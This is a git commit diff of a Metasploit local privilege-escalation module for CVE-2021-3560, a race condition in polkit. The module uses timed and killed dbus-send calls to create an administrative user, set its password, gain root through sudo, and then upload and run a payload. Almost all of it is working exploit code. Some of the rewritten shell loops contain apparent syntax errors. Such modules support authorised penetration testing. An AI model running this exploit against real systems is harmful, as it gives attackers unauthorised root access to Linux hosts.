Send one large command over many of smaller size

This commit is contained in:
Jack Heysel 2021-06-24 00:15:39 -04:00 committed by Grant Willcox
parent e7608d79f6
commit 8d2d445699
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83
1 changed files with 81 additions and 50 deletions

View File

@ -42,36 +42,38 @@ class MetasploitModule < Msf::Exploit::Local
'References' => [
['URL', 'https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/'],
['CVE', '2021-3560'],
['EDB', '50011'],
],
'Targets' =>
[
[ 'Automatic', {} ],
],
'DefaultTarget' => 0,
# 'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 },
'DisclosureDate' => '2021-06-03',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
#OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),
OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
OptString.new('PASSWORD', [ false, 'A password to add for NewUser (default: random)' ]),
OptString.new('CMDDELAY', [ true, 'Amount of time in seconds to let the command to run before killing it.
OptString.new('WRITEABLEDIR', [ true, 'A directory where you can write files.', '/tmp' ]),
OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
OptString.new('PASSWORD', [ true, 'A password to add for the user (default: random)', rand_text_alphanumeric(8)]),
OptString.new('CMD_DELAY', [
true, 'Amount of time in seconds to let the command to run before killing it.
This value should be half of the time it takes to run:
\"time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply
/org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:<USERNAME> string:"<USERNAME>" int32:1\"', '0.002' ]),
OptString.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', '20']),
])
/org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:<USERNAME> string:"<USERNAME>" int32:1\"', '0.002'
]),
OptString.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', '20']),
])
end
def exploit_set_realname(new_realname)
cmd_exec(<<~SCRIPT
for i in {1..20}; do
for i in {1..#{datastore['ITERATIONS']}}; do
dbus-send
--system
--dest=org.freedesktop.Accounts
@ -96,7 +98,7 @@ This value should be half of the time it takes to run:
break;
fi;
done
SCRIPT
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end
@ -146,41 +148,59 @@ This value should be half of the time it takes to run:
cmd_exec(cmd)
end
def create_unix_crypt_hash
UnixCrypt::SHA256.build("#{datastore['PASSWORD']}", "GoldenEye")
UnixCrypt::SHA256.build(datastore['PASSWORD'].to_s)
end
def create_user
datastore['ITERATIONS'].to_i.times do |i|
print_status("Command execution attempt #{i}...")
# TODO - make CmdDelay configurable or calculate what it should be based on the output of the round trip for the command
# TODO - Randmize user name Faker::
print_status("Trying the command:")
print_status("dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{datastore['USERNAME']} string:\"#{datastore['USERNAME']}\" int32:1 & sleep #{datastore['CMDDELAY']}s; kill $!; if id #{datastore['USERNAME']}; then echo \"success\"; else echo \"failed\"; fi")
output = cmd_exec("dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{datastore['USERNAME']} string:\"#{datastore['USERNAME']}\" int32:1 & sleep #{datastore['CMDDELAY']}s; kill $!; if id #{datastore['USERNAME']}; then echo \"success\"; else echo \"failed\"; fi")
vprint_status("Output of command: #{output}")
if output[/success/]
uid = output.match(/uid=(\d+)/)[1]
print_good("User #{datastore['USERNAME']} created with UID #{uid}")
return uid
end
end
fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. This could be due to race condition that the vulnerability.")
def exploit_set_username
cmd_exec(<<~SCRIPT
for i in {1..#{datastore['ITERATIONS']}}; do
dbus-send
--system
--dest=org.freedesktop.Accounts
--type=method_call
--print-reply
/org/freedesktop/Accounts
org.freedesktop.Accounts.CreateUser
string:#{datastore['USERNAME']}#{' '}
string:\"#{datastore['USERNAME']}\"#{' '}
int32:1 &
sleep #{datastore['CMDDELAY']}s;
kill $!;
if id #{datastore['USERNAME']}; then#{' '}
echo \"success\";#{' '}
break;
fi;
done
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end
def set_password(uid, hashed_password)
datastore['ITERATIONS'].to_i.times do |i|
vprint_line("Command execution attempt #{i}...")
set_password_attempt = cmd_exec("dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User#{uid} org.freedesktop.Accounts.User.SetPassword string:'#{hashed_password}' string:GoldenEye & sleep #{datastore['CMDDELAY']}s ; kill $! & echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S id\"")
if set_password_attempt[/uid=0\(root\)/]
print_status("#{set_password_attempt}")
print_good("Obtained code execution has root!")
return
end
end
fail_with(Failure::BadConfig, "Attempted setting the password #{datastore['Iterations']} times, did not work.")
def exploit_set_password(uid, hashed_password)
cmd_exec(<<~SCRIPT
for i in {1..#{datastore['ITERATIONS']}; do
dbus-send#{' '}
--system
--dest=org.freedesktop.Accounts
--type=method_call
--print-reply#{' '}
/org/freedesktop/Accounts/User#{uid}#{' '}
org.freedesktop.Accounts.User.SetPassword#{' '}
string:'#{hashed_password}'#{' '}
string: &#{' '}
sleep #{datastore['CMDDELAY']}s;
kill $!;#{' '}
echo #{datastore['PASSWORD']}#{' '}
| su - #{datastore['USERNAME']}#{' '}
-c \"echo #{datastore['PASSWORD']} | sudo -S id\"#{' '}
| grep \"uid=0(root)\";#{' '}
if [ $? -eq 0 ]; then#{' '}
echo \"success\";
break;#{' '}
fi;
done
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end
def upload(path, data)
@ -196,9 +216,10 @@ This value should be half of the time it takes to run:
end
def upload_payload
fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}"
fname = "#{datastore['WRITEABLEDIR']}/#{Rex::Text.rand_text_alpha(5)}"
upload_and_chmodx(fname, generate_payload_exe)
return nil unless file_exist?(fname)
fname
end
@ -206,18 +227,28 @@ This value should be half of the time it takes to run:
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")
end
#TODO - use dbus to delete user method
# TODO: - use dbus to delete user method
def remove_user
print_status("Removing the user added: ")
print_status('Removing the user added: ')
end
def exploit
print_status("Attempting to create user #{datastore['USERNAME']}")
uid = create_user
print_status("Attempting to set the password of the newly create user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
set_password(uid, create_unix_crypt_hash)
fname = upload_payload
execute_payload(fname)
remove_user
if exploit_set_username
uid = cmd_exec("id -u #{datastore['USERNAME']}")
print_good("User #{datastore['USERNAME']} created with UID #{uid}")
print_status("Attempting to set the password of the newly create user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
if exploit_set_password(uid, create_unix_crypt_hash)
print_good('Obtained code execution has root!')
fname = upload_payload
execute_payload(fname)
# TODO: remove_user
remove_user
else
fail_with(Failure::BadConfig, "Attempted setting the password #{datastore['Iterations']} times, did not work.")
end
else
fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. This could be due to race condition that the vulnerability.")
end
end
end